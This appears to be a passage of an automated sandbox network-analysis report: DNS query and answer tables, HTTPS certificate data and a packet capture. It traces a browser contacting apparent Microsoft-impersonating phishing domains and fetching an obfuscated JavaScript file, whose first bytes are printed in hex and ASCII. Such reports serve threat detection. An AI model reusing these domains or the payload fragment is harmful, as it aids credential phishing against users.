Nov 26, 2024 13:43:28.116214037 CET	64624	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:28.116350889 CET	60555	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:28.137522936 CET	65446	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:28.138031006 CET	58548	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:28.283499956 CET	53	65446	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:28.283555031 CET	53	58548	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:28.595249891 CET	53	64624	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:28.595565081 CET	53	60555	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:32.362221956 CET	55301	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:32.363183022 CET	51055	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:32.501482010 CET	53	55301	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:32.503334999 CET	53	51055	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:35.509382963 CET	53	62517	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:37.243433952 CET	57607	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:37.243577003 CET	65316	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:37.387511969 CET	53	65316	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:37.387675047 CET	53	57607	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:37.442323923 CET	53	54567	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:38.589147091 CET	53	57209	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:38.600550890 CET	53	62795	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:44.724072933 CET	53	51457	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:59.107398033 CET	55137	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:59.107994080 CET	51455	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:59.216758966 CET	58065	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:59.216902018 CET	56750	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:59.358792067 CET	53	51455	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:59.362921000 CET	53	55137	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:59.959237099 CET	53	56750	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:59.959703922 CET	53	58065	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:01.257936954 CET	50976	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:01.258074999 CET	61160	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:01.403374910 CET	53	61160	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:01.405675888 CET	53	50976	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:03.479995966 CET	64177	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:03.480199099 CET	50794	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:03.536343098 CET	53	57035	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:03.696676970 CET	53	64177	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:03.704221010 CET	53	50794	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:06.095087051 CET	62735	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:06.095256090 CET	60205	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:06.237185001 CET	53	60205	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:06.237535954 CET	53	62735	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:09.683063984 CET	53351	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:09.684711933 CET	63103	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:09.821757078 CET	53	53351	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:09.824367046 CET	53	63103	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:12.297059059 CET	54600	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:12.297394991 CET	53631	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:12.317230940 CET	63484	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:12.317784071 CET	56248	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:12.456465006 CET	53	63484	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:12.457787037 CET	53	56248	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:15.873224974 CET	138	138	192.168.2.7	192.168.2.255
Nov 26, 2024 13:44:23.712990046 CET	53	61243	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:26.289973021 CET	53	53751	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:26.634021997 CET	53	63147	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:28.530766964 CET	61862	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:28.530903101 CET	50960	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:44:28.670824051 CET	53	61862	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:28.670937061 CET	53	50960	1.1.1.1	192.168.2.7
Nov 26, 2024 13:44:53.554225922 CET	53	61376	1.1.1.1	192.168.2.7
Nov 26, 2024 13:45:14.500745058 CET	60774	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:45:14.500894070 CET	53010	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:45:19.477817059 CET	54816	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:45:19.477966070 CET	64095	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:45:19.619249105 CET	53	64095	1.1.1.1	192.168.2.7
Nov 26, 2024 13:45:19.702833891 CET	53	54816	1.1.1.1	192.168.2.7
Nov 26, 2024 13:45:39.380836964 CET	53	60178	1.1.1.1	192.168.2.7
Nov 26, 2024 13:46:14.826267004 CET	56817	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:46:14.826426029 CET	55299	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:46:24.010437965 CET	56164	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:46:24.010598898 CET	51775	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:46:24.152769089 CET	53	51775	1.1.1.1	192.168.2.7
Nov 26, 2024 13:46:24.513191938 CET	53	56164	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 13:43:24.688343048 CET	192.168.2.7	1.1.1.1	0xbf92	Standard query (0)	ajax.aspnetcloudio.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:24.688683033 CET	192.168.2.7	1.1.1.1	0xb782	Standard query (0)	ajax.aspnetcloudio.com	65	IN (0x0001)	false
Nov 26, 2024 13:43:24.690080881 CET	192.168.2.7	1.1.1.1	0xdfb1	Standard query (0)	cloudio.smartestenergy.icu	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:24.690242052 CET	192.168.2.7	1.1.1.1	0x6ee	Standard query (0)	cloudio.smartestenergy.icu	65	IN (0x0001)	false
Nov 26, 2024 13:43:24.902257919 CET	192.168.2.7	1.1.1.1	0x643d	Standard query (0)	ajax.aspnetcloudio.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:27.350573063 CET	192.168.2.7	1.1.1.1	0xd16e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:27.350792885 CET	192.168.2.7	1.1.1.1	0x3caa	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 13:43:28.116214037 CET	192.168.2.7	1.1.1.1	0xaa49	Standard query (0)	autenticatorresolver.online	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.116350889 CET	192.168.2.7	1.1.1.1	0xd484	Standard query (0)	autenticatorresolver.online	65	IN (0x0001)	false
Nov 26, 2024 13:43:28.137522936 CET	192.168.2.7	1.1.1.1	0x132f	Standard query (0)	cloudio.smartestenergy.icu	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.138031006 CET	192.168.2.7	1.1.1.1	0xf135	Standard query (0)	cloudio.smartestenergy.icu	65	IN (0x0001)	false
Nov 26, 2024 13:43:32.362221956 CET	192.168.2.7	1.1.1.1	0x890f	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:32.363183022 CET	192.168.2.7	1.1.1.1	0x8ba5	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Nov 26, 2024 13:43:37.243433952 CET	192.168.2.7	1.1.1.1	0x6b86	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:37.243577003 CET	192.168.2.7	1.1.1.1	0xa6dd	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Nov 26, 2024 13:43:59.107398033 CET	192.168.2.7	1.1.1.1	0xa8da	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:59.107994080 CET	192.168.2.7	1.1.1.1	0x7ef5	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Nov 26, 2024 13:43:59.216758966 CET	192.168.2.7	1.1.1.1	0xba10	Standard query (0)	login.msonlineauthenticator.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:59.216902018 CET	192.168.2.7	1.1.1.1	0x9fe4	Standard query (0)	login.msonlineauthenticator.top	65	IN (0x0001)	false
Nov 26, 2024 13:44:01.257936954 CET	192.168.2.7	1.1.1.1	0xe10d	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:01.258074999 CET	192.168.2.7	1.1.1.1	0xf7fa	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Nov 26, 2024 13:44:03.479995966 CET	192.168.2.7	1.1.1.1	0x2710	Standard query (0)	www.msonlineauthenticator.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:03.480199099 CET	192.168.2.7	1.1.1.1	0x942b	Standard query (0)	www.msonlineauthenticator.top	65	IN (0x0001)	false
Nov 26, 2024 13:44:06.095087051 CET	192.168.2.7	1.1.1.1	0x5402	Standard query (0)	autenticatorresolver.online	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:06.095256090 CET	192.168.2.7	1.1.1.1	0x5867	Standard query (0)	autenticatorresolver.online	65	IN (0x0001)	false
Nov 26, 2024 13:44:09.683063984 CET	192.168.2.7	1.1.1.1	0xeadc	Standard query (0)	login.msonlineauthenticator.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:09.684711933 CET	192.168.2.7	1.1.1.1	0x6461	Standard query (0)	login.msonlineauthenticator.top	65	IN (0x0001)	false
Nov 26, 2024 13:44:12.297059059 CET	192.168.2.7	1.1.1.1	0xdb67	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:12.297394991 CET	192.168.2.7	1.1.1.1	0xeb89	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Nov 26, 2024 13:44:12.317230940 CET	192.168.2.7	1.1.1.1	0xae7a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:12.317784071 CET	192.168.2.7	1.1.1.1	0xa153	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 26, 2024 13:44:28.530766964 CET	192.168.2.7	1.1.1.1	0x9a66	Standard query (0)	autologon.microsoftazuread-sso.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.530903101 CET	192.168.2.7	1.1.1.1	0xe770	Standard query (0)	autologon.microsoftazuread-sso.com	65	IN (0x0001)	false
Nov 26, 2024 13:45:14.500745058 CET	192.168.2.7	1.1.1.1	0xe19d	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:45:14.500894070 CET	192.168.2.7	1.1.1.1	0xbd10	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Nov 26, 2024 13:45:19.477817059 CET	192.168.2.7	1.1.1.1	0x1c7e	Standard query (0)	login.msonlineauthenticator.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:45:19.477966070 CET	192.168.2.7	1.1.1.1	0xe445	Standard query (0)	login.msonlineauthenticator.top	65	IN (0x0001)	false
Nov 26, 2024 13:46:14.826267004 CET	192.168.2.7	1.1.1.1	0x5f51	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:46:14.826426029 CET	192.168.2.7	1.1.1.1	0x65fc	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Nov 26, 2024 13:46:24.010437965 CET	192.168.2.7	1.1.1.1	0xb5d6	Standard query (0)	login.msonlineauthenticator.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:46:24.010598898 CET	192.168.2.7	1.1.1.1	0x2f33	Standard query (0)	login.msonlineauthenticator.top	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 13:43:24.866075039 CET	1.1.1.1	192.168.2.7	0xbf92	Name error (3)	ajax.aspnetcloudio.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:24.867002010 CET	1.1.1.1	192.168.2.7	0xb782	Name error (3)	ajax.aspnetcloudio.com	none	none	65	IN (0x0001)	false
Nov 26, 2024 13:43:25.042438984 CET	1.1.1.1	192.168.2.7	0x643d	Name error (3)	ajax.aspnetcloudio.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:25.245881081 CET	1.1.1.1	192.168.2.7	0xdfb1	No error (0)	cloudio.smartestenergy.icu		13.57.116.250	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:27.490644932 CET	1.1.1.1	192.168.2.7	0xd16e	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:27.493593931 CET	1.1.1.1	192.168.2.7	0x3caa	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 13:43:28.283499956 CET	1.1.1.1	192.168.2.7	0x132f	No error (0)	cloudio.smartestenergy.icu		13.57.116.250	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.595249891 CET	1.1.1.1	192.168.2.7	0xaa49	No error (0)	autenticatorresolver.online		172.66.0.102	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.595249891 CET	1.1.1.1	192.168.2.7	0xaa49	No error (0)	autenticatorresolver.online		162.159.140.104	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.595249891 CET	1.1.1.1	192.168.2.7	0xaa49	No error (0)	autenticatorresolver.online		162.159.140.160	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.595249891 CET	1.1.1.1	192.168.2.7	0xaa49	No error (0)	autenticatorresolver.online		172.66.0.158	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:28.595565081 CET	1.1.1.1	192.168.2.7	0xd484	No error (0)	autenticatorresolver.online			65	IN (0x0001)	false
Nov 26, 2024 13:43:32.501482010 CET	1.1.1.1	192.168.2.7	0x890f	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:43:32.501482010 CET	1.1.1.1	192.168.2.7	0x890f	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:32.501482010 CET	1.1.1.1	192.168.2.7	0x890f	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:32.501482010 CET	1.1.1.1	192.168.2.7	0x890f	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:32.501482010 CET	1.1.1.1	192.168.2.7	0x890f	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:32.503334999 CET	1.1.1.1	192.168.2.7	0x8ba5	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:43:37.387511969 CET	1.1.1.1	192.168.2.7	0xa6dd	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:43:37.387675047 CET	1.1.1.1	192.168.2.7	0x6b86	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:43:37.387675047 CET	1.1.1.1	192.168.2.7	0x6b86	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:37.387675047 CET	1.1.1.1	192.168.2.7	0x6b86	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:37.387675047 CET	1.1.1.1	192.168.2.7	0x6b86	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:37.387675047 CET	1.1.1.1	192.168.2.7	0x6b86	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:59.362921000 CET	1.1.1.1	192.168.2.7	0xa8da	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:43:59.959703922 CET	1.1.1.1	192.168.2.7	0xba10	No error (0)	login.msonlineauthenticator.top		52.1.52.84	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:01.405675888 CET	1.1.1.1	192.168.2.7	0xe10d	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:03.696676970 CET	1.1.1.1	192.168.2.7	0x2710	No error (0)	www.msonlineauthenticator.top		52.1.52.84	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:06.237185001 CET	1.1.1.1	192.168.2.7	0x5867	No error (0)	autenticatorresolver.online			65	IN (0x0001)	false
Nov 26, 2024 13:44:06.237535954 CET	1.1.1.1	192.168.2.7	0x5402	No error (0)	autenticatorresolver.online		172.66.0.102	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:06.237535954 CET	1.1.1.1	192.168.2.7	0x5402	No error (0)	autenticatorresolver.online		172.66.0.158	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:06.237535954 CET	1.1.1.1	192.168.2.7	0x5402	No error (0)	autenticatorresolver.online		162.159.140.160	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:06.237535954 CET	1.1.1.1	192.168.2.7	0x5402	No error (0)	autenticatorresolver.online		162.159.140.104	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:07.809149981 CET	1.1.1.1	192.168.2.7	0xda33	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:07.809149981 CET	1.1.1.1	192.168.2.7	0xda33	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:09.821757078 CET	1.1.1.1	192.168.2.7	0xeadc	No error (0)	login.msonlineauthenticator.top		52.1.52.84	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:10.573348045 CET	1.1.1.1	192.168.2.7	0x6e95	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:10.573348045 CET	1.1.1.1	192.168.2.7	0x6e95	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:12.437768936 CET	1.1.1.1	192.168.2.7	0xeb89	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:12.445775032 CET	1.1.1.1	192.168.2.7	0xdb67	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:12.456465006 CET	1.1.1.1	192.168.2.7	0xae7a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:12.456465006 CET	1.1.1.1	192.168.2.7	0xae7a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:12.456465006 CET	1.1.1.1	192.168.2.7	0xae7a	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:12.457787037 CET	1.1.1.1	192.168.2.7	0xa153	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:12.457787037 CET	1.1.1.1	192.168.2.7	0xa153	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.147.7	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.147.6	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.147.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.177.149	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.147.12	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.177.22	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.177.148	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:44:28.670824051 CET	1.1.1.1	192.168.2.7	0x9a66	No error (0)	autologon.microsoftazuread-sso.com		20.190.177.82	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:45:14.641982079 CET	1.1.1.1	192.168.2.7	0xbd10	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:45:14.643280029 CET	1.1.1.1	192.168.2.7	0xe19d	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:45:19.702833891 CET	1.1.1.1	192.168.2.7	0x1c7e	No error (0)	login.msonlineauthenticator.top		52.1.52.84	A (IP address)	IN (0x0001)	false
Nov 26, 2024 13:46:14.965538979 CET	1.1.1.1	192.168.2.7	0x5f51	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:46:14.965903044 CET	1.1.1.1	192.168.2.7	0x65fc	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 13:46:24.513191938 CET	1.1.1.1	192.168.2.7	0xb5d6	No error (0)	login.msonlineauthenticator.top		52.1.52.84	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cloudio.smartestenergy.icu

otelrules.azureedge.net

autenticatorresolver.online

https:

cdn.jsdelivr.net

ipinfo.io

www.msonlineauthenticator.top

aadcdn.msauth.net

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 26, 2024 13:45:10.491318941 CET	13.107.246.63	443	192.168.2.7	50007	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	13.57.116.250	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:26 UTC	518	OUT	GET /hustines/luketurg/runever.js HTTP/1.1 Host: cloudio.smartestenergy.icu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:27 UTC	429	IN	HTTP/1.1 200 OK etag: "1b7a1-673ac020-13cf93;;;" last-modified: Mon, 18 Nov 2024 04:18:40 GMT content-type: text/javascript content-length: 112545 accept-ranges: bytes date: Tue, 26 Nov 2024 12:43:26 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-11-26 12:43:27 UTC	16384	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 63 33 35 64 30 2c 5f 30 78 65 65 32 30 32 33 29 7b 63 6f 6e 73 74 20 5f 30 78 33 31 65 37 63 39 3d 5f 30 78 32 34 64 35 2c 5f 30 78 34 30 66 31 30 61 3d 5f 30 78 33 63 33 35 64 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 35 34 36 62 34 34 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 31 65 37 63 39 28 30 78 32 35 66 29 29 2f 28 2d 30 78 32 62 39 2b 2d 30 78 31 30 33 2a 2d 30 78 37 2b 30 78 34 35 62 2a 2d 30 78 31 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 31 65 37 63 39 28 30 78 32 66 36 29 29 2f 28 30 78 32 2a 30 78 31 33 33 34 2b 30 78 31 32 38 31 2b 2d 30 78 33 38 65 37 2a 30 78 31 29 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 31 65 37 63 39 28 30 78 32 65 37 29 Data Ascii: (function(_0x3c35d0,_0xee2023){const _0x31e7c9=_0x24d5,_0x40f10a=_0x3c35d0();while(!![]){try{const _0x546b44=parseInt(_0x31e7c9(0x25f))/(-0x2b9+-0x103-0x7+0x45b-0x1)+-parseInt(_0x31e7c9(0x2f6))/(0x20x1334+0x1281+-0x38e70x1)*(-parseInt(_0x31e7c9(0x2e7)
